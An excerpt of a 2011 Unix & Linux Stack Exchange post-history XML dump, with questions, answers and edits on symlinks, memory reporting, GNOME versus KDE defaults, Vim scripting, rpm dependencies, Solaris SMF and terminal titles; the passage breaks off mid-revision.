  <row Id="35290" PostHistoryTypeId="17" PostId="14101" RevisionGUID="cbc1a2fd-442c-41b0-b78e-37b54d566b24" CreationDate="2011-05-31T14:57:42.900" UserId="-1" Comment="from http://stackoverflow.com/questions/6146026/making-a-duplicate-of-a-path-in-unix" Text="" />
  <row Id="35291" PostHistoryTypeId="2" PostId="14100" RevisionGUID="b8ca7869-baf5-4ce2-a09f-c850eb9619cc" CreationDate="2011-05-26T22:58:25.810" UserDisplayName="Mikaveli" Text="Dead simple, it's just a symbolic link:&#xD;&#xA;&#xD;&#xA;    ln -s /foo/live/images /foo/dev/images&#xD;&#xA;&#xD;&#xA;Just watch the directory permissions etc. To view the man page (all available options) for the `ln` command, enter the following at the prompt:&#xD;&#xA;&#xD;&#xA;    man ln" />
  <row Id="35292" PostHistoryTypeId="2" PostId="14101" RevisionGUID="1e3d464d-174b-4ec8-acb0-e7b590a07100" CreationDate="2011-05-26T22:59:46.620" UserId="7687" Text="You can use either symbolic links or hard links (for individual files) assuming they are on the same filesystem.&#xD;&#xA;&#xD;&#xA;    cd /foo/live; find images -type d -printf &quot;mkdir -vp '/foo/dev/%p'\n&quot; -o -type f -printf &quot;ln -vs '/foo/live/%p' '/foo/dev/%p'\n&quot; | sh&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;From http://www.commandlinefu.com/commands/view/1776/create-a-symbolic-link-tree-that-shadows-a-directory-structure&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Whether you do this or `cd /foo/dev; ln -s ../live/images .` depends on whether you might write into the images directory." />
  <row Id="35293" PostHistoryTypeId="2" PostId="14099" RevisionGUID="199ee463-0d94-4b36-a252-6283f218b943" CreationDate="2011-05-26T22:53:54.317" UserDisplayName="jerrygarciuh" Text="My Unix vocabulary is failing me.  I have 5 billion images in `/foo/live/images`.&#xD;&#xA;&#xD;&#xA;For the purposes of developing a new version of the app I'd like to make `/foo/dev/images` into a working path without making a copy of the images.&#xD;&#xA;&#xD;&#xA;Is this a soft link?  What's the right term?  What's the command-line syntax to create the link?" />
  <row Id="35294" PostHistoryTypeId="1" PostId="14099" RevisionGUID="199ee463-0d94-4b36-a252-6283f218b943" CreationDate="2011-05-26T22:53:54.317" UserDisplayName="jerrygarciuh" Text="Making a duplicate of a path in Unix" />
  <row Id="35295" PostHistoryTypeId="3" PostId="14099" RevisionGUID="199ee463-0d94-4b36-a252-6283f218b943" CreationDate="2011-05-26T22:53:54.317" UserDisplayName="jerrygarciuh" Text="élinuxàébashàécommandölineà" />
  <row Id="35296" PostHistoryTypeId="25" PostId="14085" RevisionGUID="6253d624-afe1-4c87-9e83-39bfd572dfc3" CreationDate="2011-05-31T15:13:27.683" Comment="http://twitter.com/#!/StackUnix/status/75580656347910145" />
  <row Id="35297" PostHistoryTypeId="17" PostId="14102" RevisionGUID="6fd433d5-48eb-4106-88d4-23591e094731" CreationDate="2011-05-31T16:08:18.443" UserId="-1" Comment="from http://stackoverflow.com/questions/6189739/real-memory-usage" Text="" />
  <row Id="35298" PostHistoryTypeId="17" PostId="14103" RevisionGUID="6f33b209-efab-4033-9360-1d32beb1d7e8" CreationDate="2011-05-31T16:08:18.443" UserId="-1" Comment="from http://stackoverflow.com/questions/6189739/real-memory-usage" Text="" />
  <row Id="35299" PostHistoryTypeId="2" PostId="14103" RevisionGUID="6ed49e51-6ce9-4deb-8622-17401de66420" CreationDate="2011-05-31T15:19:11.103" UserDisplayName="n.m." Text="Yes you're right. Buffers and cache are used by the OS but are available to applications immediately. The OS is willing to invalidate and throw away some of the cache in order to satisfy the next request for memory." />
  <row Id="35300" PostHistoryTypeId="2" PostId="14102" RevisionGUID="a374c51f-356f-4eed-86b4-cc9ee95e68f9" CreationDate="2011-05-31T15:14:07.943" UserDisplayName="user775187" Text="if I understand correctly, in the following output produced by free, 3535m is the actual free memory available to applications, only 413m is used, is this correct?  need some clarification on the difference between Mem and -/+ buffers/cache row.&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;free -m&#xD;&#xA;             total       used       free     shared    buffers     cached&#xD;&#xA;Mem:          3949       3854         95          0          9       3431&#xD;&#xA;-/+ buffers/cache:        413       3535&#xD;&#xA;Swap:         2047       1322        725&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;" />
  <row Id="35301" PostHistoryTypeId="1" PostId="14102" RevisionGUID="a374c51f-356f-4eed-86b4-cc9ee95e68f9" CreationDate="2011-05-31T15:14:07.943" UserDisplayName="user775187" Text="real memory usage" />
  <row Id="35302" PostHistoryTypeId="3" PostId="14102" RevisionGUID="a374c51f-356f-4eed-86b4-cc9ee95e68f9" CreationDate="2011-05-31T15:14:07.943" UserDisplayName="user775187" Text="élinuxàémemoryà" />
  <row Id="35303" PostHistoryTypeId="2" PostId="14104" RevisionGUID="f7c7d6c8-5d8d-4f30-bacb-026aa1c663a9" CreationDate="2011-05-31T16:30:55.980" UserId="7926" Text="Why the default desktop environment of most popular linux distros is gnome? KDE seems to me an equally good desktop environment. Is it for licence reason? historic? or else?" />
  <row Id="35304" PostHistoryTypeId="1" PostId="14104" RevisionGUID="f7c7d6c8-5d8d-4f30-bacb-026aa1c663a9" CreationDate="2011-05-31T16:30:55.980" UserId="7926" Text="Why do most linux distros default gnome?" />
  <row Id="35305" PostHistoryTypeId="3" PostId="14104" RevisionGUID="f7c7d6c8-5d8d-4f30-bacb-026aa1c663a9" CreationDate="2011-05-31T16:30:55.980" UserId="7926" Text="élinuxàégnomeàékdeà" />
  <row Id="35306" PostHistoryTypeId="2" PostId="14105" RevisionGUID="452bf365-f63d-4d2e-b54e-5df5345af090" CreationDate="2011-05-31T16:38:32.667" UserId="5824" Text="Philosophy.&#xD;&#xA;&#xD;&#xA;Most distros tend to like to focus on the most basic of end-users that can't do anything for themselves.  The gnome philosophy tends to be &quot;it works this way and only this way&quot; and leaves the users in a common configuration you can help them through and offers a clean and consistent interface.&#xD;&#xA;&#xD;&#xA;KDE, on the other hand, is extremely powerful and extremely flexible.  You can configure the heck out of it and tailor to your specific needs.  My KDE setup is extremely customized and probably doesn't match anyone else's.  Because of this, though, a user could very easily get into trouble if they don't know what they're doing.  So it's likely considered &quot;less safe&quot;.&#xD;&#xA;&#xD;&#xA;Some of it also comes from very old decisions.  Back in the KDE days when it was unclear what was going to happen with the Qt licensing options, some distros went with Gnome.  Now that Qt was safe to use and redistribute under a *GPL distro, if the decision was restarted it might change the outcome.  But most distros wouldn't want to &quot;make a switch&quot; once a critical decision was made, as it would confuse people (even if it only affected new users on a machine).&#xD;&#xA;&#xD;&#xA;/me sits back and waits for his reputation to go down for this answer.  But I'm calling it like I see it." />
  <row Id="35307" PostHistoryTypeId="2" PostId="14106" RevisionGUID="1d4a5e8c-cffd-4d70-a9a1-18032f1b989c" CreationDate="2011-05-31T17:13:09.247" UserId="1946" Text="May be because most Linux distros are [GNU/Linux][1] distros and GNOME [historically stands][2] for GNU Network Object Model Environment?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/GNU/Linux_naming_controversy&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/GNOME#Name" />
  <row Id="35308" PostHistoryTypeId="2" PostId="14107" RevisionGUID="e7aee256-9c72-4843-8cf6-a0ce0a4c0f3d" CreationDate="2011-05-31T17:18:00.523" UserId="2171" Text="The Gnats bug tracker has a command (edit-pr) that opens a ticket in $EDITOR.  My $EDITOR is VIM, and when this command opens the ticket in $EDITOR, I'd like to automatically perform some scripted edits without having to make any additional keystrokes.&#xD;&#xA;&#xD;&#xA;Is there a way to write a VIM script that can be run non-interactively like this?" />
  <row Id="35309" PostHistoryTypeId="1" PostId="14107" RevisionGUID="e7aee256-9c72-4843-8cf6-a0ce0a4c0f3d" CreationDate="2011-05-31T17:18:00.523" UserId="2171" Text="Is it possible to execute a VIM script in a non-interactive mode?" />
  <row Id="35310" PostHistoryTypeId="3" PostId="14107" RevisionGUID="e7aee256-9c72-4843-8cf6-a0ce0a4c0f3d" CreationDate="2011-05-31T17:18:00.523" UserId="2171" Text="évimàéscriptingà" />
  <row Id="35311" PostHistoryTypeId="2" PostId="14108" RevisionGUID="68a141f4-b1f3-470f-a304-d985e88b9f24" CreationDate="2011-05-31T17:29:51.273" UserId="916" Text="There was a lot of uncertainty regarding licensing of the Qt library (on which KDE is built) back when most distros were choosing between KDE and GNOME. That isn't a problem any more, but by the time it was cleared up most distros had already chosen, and this is the sort of thing that they aren't comfortable switching up without a *really* good reason." />
  <row Id="35312" PostHistoryTypeId="5" PostId="14065" RevisionGUID="89c761a6-930e-4c44-9ea2-e845e3eb3356" CreationDate="2011-05-31T18:01:55.917" UserId="5884" Comment="added 194 characters in body" Text="I try to make a package of a program which is linked to such library (output from ldd):&#xD;&#xA;&#xD;&#xA;&gt; libwx_baseu-2.8.so.0 =&gt;&#xD;&#xA;&gt; /usr/lib64/wx-2.8-wxcontainer/libwx_baseu-2.8.so.0&#xD;&#xA;&#xD;&#xA;Pretty straightforward, right? But when I make a package of this program (with rpmbuild) and then try to install it, rpm complains about missing library (this one above):&#xD;&#xA;&#xD;&#xA;&gt; error: Failed dependencies:&#xD;&#xA;&gt;&#xD;&#xA;&gt;         libwx_baseu-2.8.so.0()(64bit) &#xD;&#xA;&gt;         libwx_baseu-2.8.so.0(WXU_2.8)(64bit)&#xD;&#xA;&#xD;&#xA;My guess is, rpmbuild set the dependency for the main lib directory, i.e. /usr/lib64.&#xD;&#xA;&#xD;&#xA;**Question** -- how to fix this issue (ok, one would be forced install, but I would like to avoid it)? I.e. how to build rpm so the dependencies would set for the wx-2.8-wxcontainer subdirectory (for this library)?&#xD;&#xA;&#xD;&#xA;openSUSE 11.4, if this matters.&#xD;&#xA;&#xD;&#xA;##Edit##&#xD;&#xA;&#xD;&#xA;I can install such package with --nodeps which forces installation, and after that install program works perfectly. So clearly, rpm or rpmbuild has issues, not the system itself." />
  <row Id="35313" PostHistoryTypeId="5" PostId="14052" RevisionGUID="61d1bf79-01f2-40db-a0a9-fdd27b57d304" CreationDate="2011-05-31T18:11:58.813" UserId="5737" Comment="deleted 5 characters in body" Text="I've created a service for an application, and I want this application to be started on boot. In the service manifest, I realize that there's a property for this (enabled=&quot;true&quot;), but I've been avoiding this for a particularly annoying aspect:&#xD;&#xA;&#xD;&#xA;The import is part of a script. Having the service as &quot;enabled&quot; means that it will be restarted on import. The problem is that I'm not sure how to wait until the process is enabled before continuing. So, what I do in the script is import with enabled set as &quot;false&quot;, then run &quot;svcadm enable -s `&lt;service&gt;`&quot;.&#xD;&#xA;&#xD;&#xA;So I was wondering if anyone had any answers for any one of these questions:&#xD;&#xA;&#xD;&#xA;1. How do you make an existing service start on boot (hopefully avoiding manual additions to rc3.d)?&#xD;&#xA;2. How do you make svccfg import wait until a service is completely enabled before continuing?&#xD;&#xA;3. Is there an elegant way to wait until a service is started before continuing (avoiding manually grepping for enabled in a loop)?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="35314" PostHistoryTypeId="25" PostId="14104" RevisionGUID="c52ab909-da01-4b8c-be87-5704718be0bb" CreationDate="2011-05-31T18:13:28.467" Comment="http://twitter.com/#!/StackUnix/status/75625957796483073" />
  <row Id="35315" PostHistoryTypeId="5" PostId="14069" RevisionGUID="2af34268-1bd8-466d-812e-699dcfc483b3" CreationDate="2011-05-31T19:35:57.417" UserId="885" Comment="adapted to the latest version of the question" Text="[The portable way is to strip the extension with `${f%.*}` and the directory with `${f##*/}` (or use `basename`)](http://unix.stackexchange.com/questions/14063/returning-strings-corresponding-to-shell-glob-matching/14064#14064).&#xD;&#xA;&#xD;&#xA;In zsh, you can apply [various transformations](http://zsh.sourceforge.net/Doc/Release/Expansion.html#Glob-Qualifiers) to [parameter expansion](http://zsh.sourceforge.net/Doc/Release/Expansion.html#Parameter-Expansion), including [history modifiers](http://zsh.sourceforge.net/Doc/Release/Expansion.html#Modifiers) such as `r` to strip one extension and `t` to strip the directory part.&#xD;&#xA;&#xD;&#xA;    for x in sub/*.txt; do&#xD;&#xA;        enscript -b &quot;&quot; -o ${x:t:r}.ps $x&#xD;&#xA;        ps2pdf ${x:t:r}.ps ${x:t:r}.pdf&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;You can apply history modifiers to [glob patterns](http://zsh.sourceforge.net/Doc/Release/Expansion.html#Filename-Generation) as well.&#xD;&#xA;&#xD;&#xA;    for x in sub/*.txt(:r:t); do&#xD;&#xA;        enscript -b &quot;&quot; -o $x.ps sub/$x.txt&#xD;&#xA;        ps2pdf $x.ps $x.pdf&#xD;&#xA;    done&#xD;&#xA;" />
  <row Id="35316" PostHistoryTypeId="5" PostId="14064" RevisionGUID="f265361c-3c4d-4f2a-8957-0d6aae1f8419" CreationDate="2011-05-31T19:43:12.863" UserId="885" Comment="adapted to the latest version of the question" Text="POSIX shells (e.g., bash, dash, ksh, …) accept a `${var%suffix}` construct that&#xD;&#xA;can be used to remove the trailing portion from the value of a&#xD;&#xA;variable.  For instance, if `path=&quot;sub/file.txt&quot;`, then `${path%.txt}`&#xD;&#xA;expands to `sub/file`.&#xD;&#xA;&#xD;&#xA;There's a symmetric construct to remove a prefix: `${var#prefix}`. The prefix can be a pattern. Doubling the `#` strips the longest matching prefix. For example, if `path=sub/dir/file.txt`, then `${path##*/}` expands to `file.txt` (and `${path#*/}` expands to `dir/file.txt`). The same goes for suffixes and `%`.&#xD;&#xA;&#xD;&#xA;So, in your case you could write this (note that you can't combine the prefix stripping and the suffix stripping into a single expansion, at least not with only POSIX constructs):&#xD;&#xA;&#xD;&#xA;    for f in sub/*.txt; do&#xD;&#xA;      base=${f%.txt}&#xD;&#xA;      base=${base##*/}&#xD;&#xA;      enscript -b &quot;&quot; -o &quot;$base.ps&quot; &quot;$f&quot;&#xD;&#xA;      ps2pdf &quot;$base.ps&quot; &quot;$base.pdf&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Alternatively, the GNU&#xD;&#xA;[basename](http://linux.die.net/man/1/basename) command accepts an&#xD;&#xA;optional second argument which is the file extension to remove.  For&#xD;&#xA;instance, if `$f` is `file.txt`, then `$(basename $f .txt)` expands to&#xD;&#xA;`file`.&#xD;&#xA;&#xD;&#xA;Note, however, that `basename` removes all path information except for&#xD;&#xA;the last component, so if you want to remove just the extension you&#xD;&#xA;have to put that back (see the&#xD;&#xA;[dirname](http://linux.die.net/man/1/dirname) command).&#xD;&#xA;&#xD;&#xA;" />
  <row Id="35317" PostHistoryTypeId="2" PostId="14109" RevisionGUID="99c3a2d5-e5b2-4edf-9553-65de314395ca" CreationDate="2011-05-31T20:08:46.880" UserId="1571" Text="I think everyone here misses the point. When linux was finally starting to come into wider acceptance, and distros like Ubuntu came around, machines weren't all that powerful. The consensus back then (2003?) was that KDE was bloatware because apparently the community felt it was larger, slower, and took up more resources than they felt the DE should.&#xD;&#xA;&#xD;&#xA;However, I think most of the critics of KDE were the type of users that would use something like fluxbox, or `awesome`, claiming that KDE looked like a windows clone, and all they need is a terminal window. So with only detractors from KDE who whouldn't be using gnome anyway, Ubuntu went with gnome. And that's the only reason (imo) gnome has stuck around. I don't have statistics (although I'd love to see them), but I'd bet that the vast majority of gnome users are ubuntu users. And I mean that in a statistical sense. More people who DON'T use ubuntu as a distro use KDE as a manager.&#xD;&#xA;&#xD;&#xA;Those criticisms may have been just back then (I have no authority to say. I'm a relatively linux DE newbie. My first full time-linux desktop was in 2004 and I got berated by my teacher (In a joking manner of course) that friends don't let friends use gnome, so I switched to KDE.)&#xD;&#xA;&#xD;&#xA;Even before gnome turned evil (left handed window buttons? Come on, seriously? Unity? Ugh), KDE is a MUCH more pleasant working environment. " />
  <row Id="35318" PostHistoryTypeId="2" PostId="14110" RevisionGUID="a3450a57-349d-40e0-944c-b00361c26e94" CreationDate="2011-05-31T20:16:11.263" UserId="1571" Text="I've never used gnats, so it's hard to say what exactly `edit-pr` is expecting to be done. But from what you've given us, you could try changing the EDITOR env variable to a custom shell script, or maybe even a python script or something.&#xD;&#xA;&#xD;&#xA;    EDITOR=/path/to/script.(sh|py) edit-pr &lt;args&gt;&#xD;&#xA;&#xD;&#xA;But like I said, I don't know what kind of edits it wants, or what needs to be done in the editor. Maybe if you gave us an example of what you'd want to automate?" />
  <row Id="35319" PostHistoryTypeId="2" PostId="14111" RevisionGUID="d05488c6-fbac-4b06-997b-7969837ecc33" CreationDate="2011-05-31T20:21:42.633" UserId="274" Text="The autoconf manual has a section on&#xD;&#xA;[portable shell programming](http://www.gnu.org/s/hello/manual/autoconf/Portable-Shell.html).&#xD;&#xA;&#xD;&#xA;Although that's not specifically targeting POSIX, it's probably the&#xD;&#xA;most complete collection of what to do and not to do when attempting&#xD;&#xA;to write portable shell code.&#xD;&#xA;" />
  <row Id="35320" PostHistoryTypeId="2" PostId="14112" RevisionGUID="72507a96-4b11-4e59-b1cc-c33ecb231d72" CreationDate="2011-05-31T20:28:27.790" UserId="4671" Text="So, a complete answer to your question involves a bit of history. This is covered well in the book [`REBEL CODE`](http://www.amazon.com/Rebel-Code-Linux-Source-Revolution/dp/0738203335) by Glyn Moody, Chapter 15. It is an interesting story.&#xD;&#xA;&#xD;&#xA;Back in the mid 1990s Matthias Ettrich became interested in Linux. (Matthias is also well known for starting the LyX project). He was concerned about usability issues, as in ordinary people being able to use Linux, which back then was mostly for highly technical types, hackers and so forth. He happened to come across the Qt toolkit, created by TrollTech. This toolkit was proprietary, but apparently Matthias did not consider that to be a sufficiently important drawback. He was what one might term as belonging to the 'pragmatic' wing of the free software community. At around that time he started the KDE project based on the Qt toolkit. If you look at the [original announcement](http://groups.google.com/group/de.comp.os.linux.misc/msg/cb4b2d67ffc3ffce) (courtesy of Wikipedia's KDE page), you will see that Matthias referred to the Kool Desktop Environment. You don't hear about Kool any more. :-) I guess everyone is too embarrassed by it.&#xD;&#xA;&#xD;&#xA;Anyway, what one might term the 'purist' wing of the free software community, notably including one Richard Stallman and his Free Software Foundation, were alarmed by this turn of events. So the competing GNOME project was started, whose original leader was [Miguel De Icaza](http://unix.stackexchange.com/users/228/miguel-de-icaza) who happens to be on this site. Miguel was right in the middle of all this, so he'd be the ideal person for a history lesson. The new GNOME project used a toolkit called GTK (Gimp Tool Kit) which had been created by the GImp by Kimball and Mattis around the same time (the Gimp was started around 1995).&#xD;&#xA;&#xD;&#xA;Then Trolltech started feeling the pressure, and switched to the Q Public License (QPL) in 1998, and finally added the GPL as an alternative in 2000. By then GNOME had a lot of momentum, and the world had two free desktop projects instead of one.&#xD;&#xA;&#xD;&#xA;Now, Red Hat, who then as now was one of the market leaders, was and is as concerned about software freedom as the FSF, though I gather for different reasons. So, they stuck to shipping GNOME. Other distributions went with KDE. I remember switching from Red Hat 5.2 (I think) to SUSE 6.4 in the August of 1999, and being blown away by the beauty of KDE 1. And SUSE is still more identified with KDE and Red Hat is still more identified with GNOME, even today. " />
  <row Id="35321" PostHistoryTypeId="5" PostId="14112" RevisionGUID="4d246e65-5b23-401a-9ae4-5940350fbd0f" CreationDate="2011-05-31T20:36:34.783" UserId="4671" Comment="added 4 characters in body" Text="So, a complete answer to your question involves a bit of history. This is covered well in the book [`REBEL CODE`](http://www.amazon.com/Rebel-Code-Linux-Source-Revolution/dp/0738203335) by Glyn Moody, Chapter 15. It is an interesting story.&#xD;&#xA;&#xD;&#xA;Back in the mid 1990s Matthias Ettrich became interested in Linux. (Matthias is also well known for starting the LyX project). He was concerned about usability issues, as in ordinary people being able to use Linux, which back then was mostly for highly technical types, hackers and so forth. He happened to come across the Qt toolkit, created by TrollTech. This toolkit was proprietary, but apparently Matthias did not consider that to be a sufficiently important drawback. He was what one might term as belonging to the 'pragmatic' wing of the free software community. At around that time he started the KDE project based on the Qt toolkit. If you look at the [original announcement](http://groups.google.com/group/de.comp.os.linux.misc/msg/cb4b2d67ffc3ffce) (courtesy of Wikipedia's KDE page), you will see that Matthias referred to the Kool Desktop Environment. You don't hear about Kool any more. :-) I guess everyone is too embarrassed by it.&#xD;&#xA;&#xD;&#xA;Anyway, what one might term the 'purist' wing of the free software community, notably including one Richard Stallman and his Free Software Foundation, were alarmed by this turn of events. So the competing GNOME project was started, whose original leader was [Miguel De Icaza](http://unix.stackexchange.com/users/228/miguel-de-icaza) who happens to be on this site. Miguel was right in the middle of all this, so he'd be the ideal person for a history lesson. The new GNOME project used a toolkit called GTK (Gimp Tool Kit) which had been created by the GImp by Kimball and Mattis around the same time (the Gimp was started around 1995).&#xD;&#xA;&#xD;&#xA;Then Trolltech started feeling the pressure, and switched to the Q Public License (QPL) in 1998, and finally added the GPL as an alternative in 2000. By then GNOME had a lot of momentum, and the world had two free desktop projects instead of one.&#xD;&#xA;&#xD;&#xA;Now, Red Hat, who then as now was one of the market leaders, was and is as concerned about software freedom as the FSF, though I gather for different reasons. So, they stuck to shipping GNOME. Other distributions went with KDE. I remember switching from Red Hat 5.2 (I think) to SUSE 6.4 in the August of 1999, and being blown away by the beauty of KDE 1. And SUSE is more closely identified with KDE and Red Hat is more closely identified with GNOME, even today. " />
  <row Id="35322" PostHistoryTypeId="2" PostId="14113" RevisionGUID="3139513f-09a4-430e-9848-c0c0d4f36d2b" CreationDate="2011-05-31T20:50:46.220" UserId="5614" Text="I'd like to set the terminal title to `user@host` so I can easily tell which machine I'm connected to from the window title. Is there a way to do this from SSH or from GNOME Terminal?" />
  <row Id="35323" PostHistoryTypeId="1" PostId="14113" RevisionGUID="3139513f-09a4-430e-9848-c0c0d4f36d2b" CreationDate="2011-05-31T20:50:46.220" UserId="5614" Text="Is it possible to set Gnome Terminal's title to &quot;user@host&quot; for whatever host I'm connected to?" />
  <row Id="35324" PostHistoryTypeId="3" PostId="14113" RevisionGUID="3139513f-09a4-430e-9848-c0c0d4f36d2b" CreationDate="2011-05-31T20:50:46.220" UserId="5614" Text="ésshàégnomeöterminalàéwindowötitleà" />
  <row Id="35325" PostHistoryTypeId="2" PostId="14114" RevisionGUID="5483f5d6-23c5-46a1-94cf-3eb432b40721" CreationDate="2011-05-31T21:04:33.147" UserId="3585" Text="Hi,&#xD;&#xA;&#xD;&#xA;I'll try to answer your questions about Solaris SMF ...&#xD;&#xA;&#xD;&#xA;1.- To start a service at boot time, you simple must enabled the service with&#xD;&#xA; &#xD;&#xA;`# svcadm enable FRMI`&#xD;&#xA;&#xD;&#xA;For example, to enabled the service &quot;ipfilter&quot; you need to make&#xD;&#xA;&#xD;&#xA;`# svcadm enable ipfilter`&#xD;&#xA;&#xD;&#xA;This will be enable on the current milestone, so, there is no need to make any changes on /etc/rcX.d directory&#xD;&#xA;&#xD;&#xA;2.- I don't undestand why you need the import process to wait to some other frmi, but, i usually import the &quot;manifest&quot; and after that put online with  svcadm, for example&#xD;&#xA;&#xD;&#xA;    # svccfg validate MANIFEST&#xD;&#xA;    # svcadm enable FRMI&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;3.- To wait other frmi you can use the &quot;dependency&quot; option inside the manifest, as you can see here &#xD;&#xA;&#xD;&#xA;    &lt;dependency&#xD;&#xA;            name='filesystem-local'&#xD;&#xA;            grouping='require_all'&#xD;&#xA;            restart_on='none'&#xD;&#xA;            type='service'&gt;&#xD;&#xA;            &lt;service_fmri value='svc:/system/filesystem/local:default' /&gt;&#xD;&#xA;    &lt;/dependency&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I have many examples about how to install and use the Solaris SMF in my Blog (in Spanish) but, for example, here you can see a example,&#xD;&#xA;[How to Install PostgreSQL 9.0.3 on OpenIndiana][1] or [How to Install Apache Tomcat using RBAC and SMF on OpenIndiana][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sparcki.blogspot.com/2010/09/instalacion-de-postgresql-en.html&#xD;&#xA;  [2]: http://sparcki.blogspot.com/2011/03/tomcat-sobre-smf-y-rbac-en-openindiana.html" />
  <row Id="35326" PostHistoryTypeId="2" PostId="14115" RevisionGUID="475631ac-bdbc-417f-b7dc-ad47edb08d9b" CreationDate="2011-05-31T21:08:47.310" UserId="7688" Text="Yes.  In Ubuntu Karmic's .bashrc there is an example of this:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    # If this is an xterm set the title to user@host:dir&#xD;&#xA;    case &quot;$TERM&quot; in&#xD;&#xA;    xterm*|rxvt*)&#xD;&#xA;        PS1=&quot;\[\e]0;${debian_chroot:+($debian_chroot)}\u@\h: \w\a\]$PS1&quot;&#xD;&#xA;        ;;&#xD;&#xA;    *)&#xD;&#xA;        ;;&#xD;&#xA;    esac&#xD;&#xA;" />
  <row Id="35327" PostHistoryTypeId="2" PostId="14116" RevisionGUID="eb76c65e-77e4-4fc6-8682-901f772b9c63" CreationDate="2011-05-31T21:09:40.927" UserId="3645" Text="I've built a shell script for [mounting ISO images][1] in Nautilus, and it worked fine in earlier versions of Ubuntu. One of the many problems encountered in 11.04 is that `gksudo` doesn't seem to cache the credentials - There are three commands in the script which need to be run as root, but now for every command I get prompted for a password. Sudo privileges are cached when using plain `sudo`, so why not with `gksudo`?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/l0b0/mount-image" />
  <row Id="35328" PostHistoryTypeId="1" PostId="14116" RevisionGUID="eb76c65e-77e4-4fc6-8682-901f772b9c63" CreationDate="2011-05-31T21:09:40.927" UserId="3645" Text="gksudo not caching credentials" />
  <row Id="35329" PostHistoryTypeId="3" PostId="14116" RevisionGUID="eb76c65e-77e4-4fc6-8682-901f772b9c63" CreationDate="2011-05-31T21:09:40.927" UserId="3645" Text="ésudoàégksudoà" />
  <row Id="35330" PostHistoryTypeId="25" PostId="14102" RevisionGUID="d2a10f68-6c57-46ab-8c59-432313ce3517" CreationDate="2011-05-31T21:13:27.923" Comment="http://twitter.com/#!/StackUnix/status/75671254002171904" />
  <row Id="35331" PostHistoryTypeId="5" PostId="14115" RevisionGUID="d62b0e4b-ccaf-4c2e-bb85-ec8b13c049b3" CreationDate="2011-05-31T21:14:15.467" UserId="7688" Comment="added 347 characters in body" Text="Yes.  In Ubuntu Karmic's .bashrc there is an example of this:&#xD;&#xA;&#xD;&#xA;    # set variable identifying the chroot you work in (used in the prompt below)&#xD;&#xA;    if [ -z &quot;$debian_chroot&quot; ] &amp;&amp; [ -r /etc/debian_chroot ]; then&#xD;&#xA;        debian_chroot=$(cat /etc/debian_chroot)&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    # If this is an xterm set the title to user@host:dir&#xD;&#xA;    case &quot;$TERM&quot; in&#xD;&#xA;    xterm*|rxvt*)&#xD;&#xA;        PS1=&quot;\[\e]0;${debian_chroot:+($debian_chroot)}\u@\h: \w\a\]$PS1&quot;&#xD;&#xA;        ;;&#xD;&#xA;    *)&#xD;&#xA;        ;;&#xD;&#xA;    esac&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Note that this includes some debian specific stuff for displaying a potential chroot environment, via the file `/etc/debian_chroot`&#xD;&#xA;" />
  <row Id="35332" PostHistoryTypeId="6" PostId="14113" RevisionGUID="e6326ab5-5653-4a2f-925b-50b55399531c" CreationDate="2011-05-31T21:20:55.427" UserId="885" Comment="edited tags" Text="ébashàésshàégnomeöterminalàéwindowötitleà" />
  <row Id="35333" PostHistoryTypeId="5" PostId="14115" RevisionGUID="011a4f2a-6d3f-443b-a194-8cc767b8ecc0" CreationDate="2011-05-31T21:29:59.560" UserId="7688" Comment="added 178 characters in body" Text="Yes.  In Ubuntu Karmic's .bashrc there is an example of this:&#xD;&#xA;&#xD;&#xA;    # set variable identifying the chroot you work in (used in the prompt below)&#xD;&#xA;    if [ -z &quot;$debian_chroot&quot; ] &amp;&amp; [ -r /etc/debian_chroot ]; then&#xD;&#xA;        debian_chroot=$(cat /etc/debian_chroot)&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    # If this is an xterm set the title to user@host:dir&#xD;&#xA;    case &quot;$TERM&quot; in&#xD;&#xA;    xterm*|rxvt*)&#xD;&#xA;        PS1=&quot;\[\e]0;${debian_chroot:+($debian_chroot)}\u@\h: \w\a\]$PS1&quot;&#xD;&#xA;        ;;&#xD;&#xA;    *)&#xD;&#xA;        ;;&#xD;&#xA;    esac&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Note that this includes some debian specific stuff for displaying a potential chroot environment, via the file `/etc/debian_chroot`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Additionally, you may want to check out this [&quot;How to change the title of an xterm&quot; FAQ][1] for other shells.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1]: http://www.faqs.org/docs/Linux-mini/Xterm-Title.html" />
  <row Id="35334" PostHistoryTypeId="5" PostId="14115" RevisionGUID="8fba631a-8276-4f17-8b37-79d12ccc1a1f" CreationDate="2011-05-31T21:37:06.407" UserId="7688" Comment="Make example distro-agnostic; deleted 135 characters in body" Text="Yes.  Here's an example for bash that should be distro-agnostic:&#xD;&#xA;&#xD;&#xA;    # uncomment for a colored prompt, if the terminal has the capability; turned&#xD;&#xA;    # off by default to not distract the user: the focus in a terminal window&#xD;&#xA;    # should be on the output of commands, not on the prompt&#xD;&#xA;    force_color_prompt=yes&#xD;&#xA;    &#xD;&#xA;    if [ -n &quot;$force_color_prompt&quot; ]; then&#xD;&#xA;        if [ -x /usr/bin/tput ] &amp;&amp; tput setaf 1 &gt;&amp;/dev/null; then&#xD;&#xA;        # We have color support; assume it's compliant with Ecma-48&#xD;&#xA;        # (ISO/IEC-6429). (Lack of such support is extremely rare, and such&#xD;&#xA;        # a case would tend to support setf rather than setaf.)&#xD;&#xA;        color_prompt=yes&#xD;&#xA;        else&#xD;&#xA;        color_prompt=&#xD;&#xA;        fi&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    if [ 